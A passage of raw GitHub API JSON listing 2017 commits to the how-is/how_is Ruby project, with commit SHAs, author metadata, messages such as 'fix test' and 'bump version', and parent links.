uses.","tree":{"sha":"48c3072c648473c546d92138c05174407e430dc1","url":"https://api.github.com/repos/how-is/how_is/git/trees/48c3072c648473c546d92138c05174407e430dc1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/539b0c735bd1bbce6617c1253b2f026104dc9fc3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/539b0c735bd1bbce6617c1253b2f026104dc9fc3","html_url":"https://github.com/how-is/how_is/commit/539b0c735bd1bbce6617c1253b2f026104dc9fc3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/539b0c735bd1bbce6617c1253b2f026104dc9fc3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2774a31ee55e711354323d428f0fed206350115e","url":"https://api.github.com/repos/how-is/how_is/commits/2774a31ee55e711354323d428f0fed206350115e","html_url":"https://github.com/how-is/how_is/commit/2774a31ee55e711354323d428f0fed206350115e"}]},{"sha":"2774a31ee55e711354323d428f0fed206350115e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mjc3NGEzMWVlNTVlNzExMzU0MzIzZDQyOGYwZmVkMjA2MzUwMTE1ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T08:43:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T08:43:46Z"},"message":"[gemspec] Add blank line after magic comments.","tree":{"sha":"63b6f4f237d02394bc520764066dc9acfd924e70","url":"https://api.github.com/repos/how-is/how_is/git/trees/63b6f4f237d02394bc520764066dc9acfd924e70"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2774a31ee55e711354323d428f0fed206350115e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2774a31ee55e711354323d428f0fed206350115e","html_url":"https://github.com/how-is/how_is/commit/2774a31ee55e711354323d428f0fed206350115e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2774a31ee55e711354323d428f0fed206350115e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d9fbf2a22619232eab1a2a64c42925bb5deb0f42","url":"https://api.github.com/repos/how-is/how_is/commits/d9fbf2a22619232eab1a2a64c42925bb5deb0f42","html_url":"https://github.com/how-is/how_is/commit/d9fbf2a22619232eab1a2a64c42925bb5deb0f42"}]},{"sha":"d9fbf2a22619232eab1a2a64c42925bb5deb0f42","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDlmYmYyYTIyNjE5MjMyZWFiMWEyYTY0YzQyOTI1YmI1ZGViMGY0Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T08:04:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T08:42:57Z"},"message":"Add RuboCop to Gemfile.\n\nShould this be in the gemspec? I have no freaking idea.","tree":{"sha":"1e37f81bed09b0d865d1ffb2f816a6528b70d326","url":"https://api.github.com/repos/how-is/how_is/git/trees/1e37f81bed09b0d865d1ffb2f816a6528b70d326"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d9fbf2a22619232eab1a2a64c42925bb5deb0f42","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d9fbf2a22619232eab1a2a64c42925bb5deb0f42","html_url":"https://github.com/how-is/how_is/commit/d9fbf2a22619232eab1a2a64c42925bb5deb0f42","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d9fbf2a22619232eab1a2a64c42925bb5deb0f42/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"356b7f7568d00923f69d088be0be6a12e8980c2d","url":"https://api.github.com/repos/how-is/how_is/commits/356b7f7568d00923f69d088be0be6a12e8980c2d","html_url":"https://github.com/how-is/how_is/commit/356b7f7568d00923f69d088be0be6a12e8980c2d"}]},{"sha":"522ebebc37aba43caae00597bc332187d2ef64b3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTIyZWJlYmMzN2FiYTQzY2FhZTAwNTk3YmMzMzIxODdkMmVmNjRiMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T06:14:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T06:14:02Z"},"message":"yay fixed the thing","tree":{"sha":"1270ef695749e4178d8e938d7384d68e020d86a6","url":"https://api.github.com/repos/how-is/how_is/git/trees/1270ef695749e4178d8e938d7384d68e020d86a6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/522ebebc37aba43caae00597bc332187d2ef64b3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/522ebebc37aba43caae00597bc332187d2ef64b3","html_url":"https://github.com/how-is/how_is/commit/522ebebc37aba43caae00597bc332187d2ef64b3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/522ebebc37aba43caae00597bc332187d2ef64b3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","url":"https://api.github.com/repos/how-is/how_is/commits/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","html_url":"https://github.com/how-is/how_is/commit/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c"}]},{"sha":"9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWE1ZmQ3NGIzMTM1ZjI0OWU0N2Q4ZjNlNmY0MjYzMjUxYmE2Zjg4Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:33:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:33:30Z"},"message":"Fix test\n\nTODO: Add failing test for the fact that exe/how_is is definitely\nbroken.","tree":{"sha":"2c7806068585c60d92ecc8277319a57b3ec8ac8b","url":"https://api.github.com/repos/how-is/how_is/git/trees/2c7806068585c60d92ecc8277319a57b3ec8ac8b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","html_url":"https://github.com/how-is/how_is/commit/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a5fd74b3135f249e47d8f3e6f4263251ba6f88c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"510b12987c0b30c793430883eaccd1be247ac45a","url":"https://api.github.com/repos/how-is/how_is/commits/510b12987c0b30c793430883eaccd1be247ac45a","html_url":"https://github.com/how-is/how_is/commit/510b12987c0b30c793430883eaccd1be247ac45a"}]},{"sha":"510b12987c0b30c793430883eaccd1be247ac45a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTEwYjEyOTg3YzBiMzBjNzkzNDMwODgzZWFjY2QxYmUyNDdhYzQ1YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:31:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:31:35Z"},"message":"fix test","tree":{"sha":"e4c2ebce3e51d7bbbb84f79e841e537f291f9f6c","url":"https://api.github.com/repos/how-is/how_is/git/trees/e4c2ebce3e51d7bbbb84f79e841e537f291f9f6c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/510b12987c0b30c793430883eaccd1be247ac45a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/510b12987c0b30c793430883eaccd1be247ac45a","html_url":"https://github.com/how-is/how_is/commit/510b12987c0b30c793430883eaccd1be247ac45a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/510b12987c0b30c793430883eaccd1be247ac45a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2170b830df5587b7e847c259e7b50e4dfa5284d3","url":"https://api.github.com/repos/how-is/how_is/commits/2170b830df5587b7e847c259e7b50e4dfa5284d3","html_url":"https://github.com/how-is/how_is/commit/2170b830df5587b7e847c259e7b50e4dfa5284d3"}]},{"sha":"2170b830df5587b7e847c259e7b50e4dfa5284d3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjE3MGI4MzBkZjU1ODdiN2U4NDdjMjU5ZTdiNTBlNGRmYTUyODRkMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:31:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-30T08:31:22Z"},"message":"improve test","tree":{"sha":"b824df53c377c8ba17a9ddfb55f938c681e384fe","url":"https://api.github.com/repos/how-is/how_is/git/trees/b824df53c377c8ba17a9ddfb55f938c681e384fe"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2170b830df5587b7e847c259e7b50e4dfa5284d3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2170b830df5587b7e847c259e7b50e4dfa5284d3","html_url":"https://github.com/how-is/how_is/commit/2170b830df5587b7e847c259e7b50e4dfa5284d3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2170b830df5587b7e847c259e7b50e4dfa5284d3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","url":"https://api.github.com/repos/how-is/how_is/commits/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","html_url":"https://github.com/how-is/how_is/commit/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0"}]},{"sha":"4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGIzYWQ3YTZkYTBiOTE2ZTE4ZjhkY2RiODI3ZjkwMmVlN2UyYzJhMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-04-02T20:58:02Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-04-02T20:58:02Z"},"message":"Merge pull request #150 from olleolleolle/patch-3\n\nexe/how_is: Reinstate to_json, to_html","tree":{"sha":"d154730eed48bddada675c2e6a4f03bdd1a75179","url":"https://api.github.com/repos/how-is/how_is/git/trees/d154730eed48bddada675c2e6a4f03bdd1a75179"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","html_url":"https://github.com/how-is/how_is/commit/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b3ad7a6da0b916e18f8dcdb827f902ee7e2c2a0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2cff90acf4ff073c065257465b834590182d0f31","url":"https://api.github.com/repos/how-is/how_is/commits/2cff90acf4ff073c065257465b834590182d0f31","html_url":"https://github.com/how-is/how_is/commit/2cff90acf4ff073c065257465b834590182d0f31"},{"sha":"0392b0c284fe6ce7df997494460c3589ebf29ab7","url":"https://api.github.com/repos/how-is/how_is/commits/0392b0c284fe6ce7df997494460c3589ebf29ab7","html_url":"https://github.com/how-is/how_is/commit/0392b0c284fe6ce7df997494460c3589ebf29ab7"}]},{"sha":"2cff90acf4ff073c065257465b834590182d0f31","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmNmZjkwYWNmNGZmMDczYzA2NTI1NzQ2NWI4MzQ1OTAxODJkMGYzMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T09:11:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-03-05T09:11:52Z"},"message":"Merge pull request #148 from how-is/v18.0.2-release\n\nv18.0.2 - Remove unnecessary .send() call in exe/how_is.","tree":{"sha":"9623f375c15c3d07d68c12e2de2b8cab825ff4bd","url":"https://api.github.com/repos/how-is/how_is/git/trees/9623f375c15c3d07d68c12e2de2b8cab825ff4bd"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2cff90acf4ff073c065257465b834590182d0f31","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2cff90acf4ff073c065257465b834590182d0f31","html_url":"https://github.com/how-is/how_is/commit/2cff90acf4ff073c065257465b834590182d0f31","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2cff90acf4ff073c065257465b834590182d0f31/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a273583dda3a1920cda5bf91d70cb57cba7bcf8","url":"https://api.github.com/repos/how-is/how_is/commits/9a273583dda3a1920cda5bf91d70cb57cba7bcf8","html_url":"https://github.com/how-is/how_is/commit/9a273583dda3a1920cda5bf91d70cb57cba7bcf8"},{"sha":"6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","url":"https://api.github.com/repos/how-is/how_is/commits/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","html_url":"https://github.com/how-is/how_is/commit/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5"}]},{"sha":"6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmRiOGIwMzFkOGEwOGE4MWMyZGI0NjI5Y2NkMjFkMWU3ZDgzNDlmNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T09:00:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T09:00:49Z"},"message":"bump version","tree":{"sha":"9623f375c15c3d07d68c12e2de2b8cab825ff4bd","url":"https://api.github.com/repos/how-is/how_is/git/trees/9623f375c15c3d07d68c12e2de2b8cab825ff4bd"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","html_url":"https://github.com/how-is/how_is/commit/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6db8b031d8a08a81c2db4629ccd21d1e7d8349f5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4f14ddacaeea8d447dab9282e62750f8b0b8608c","url":"https://api.github.com/repos/how-is/how_is/commits/4f14ddacaeea8d447dab9282e62750f8b0b8608c","html_url":"https://github.com/how-is/how_is/comm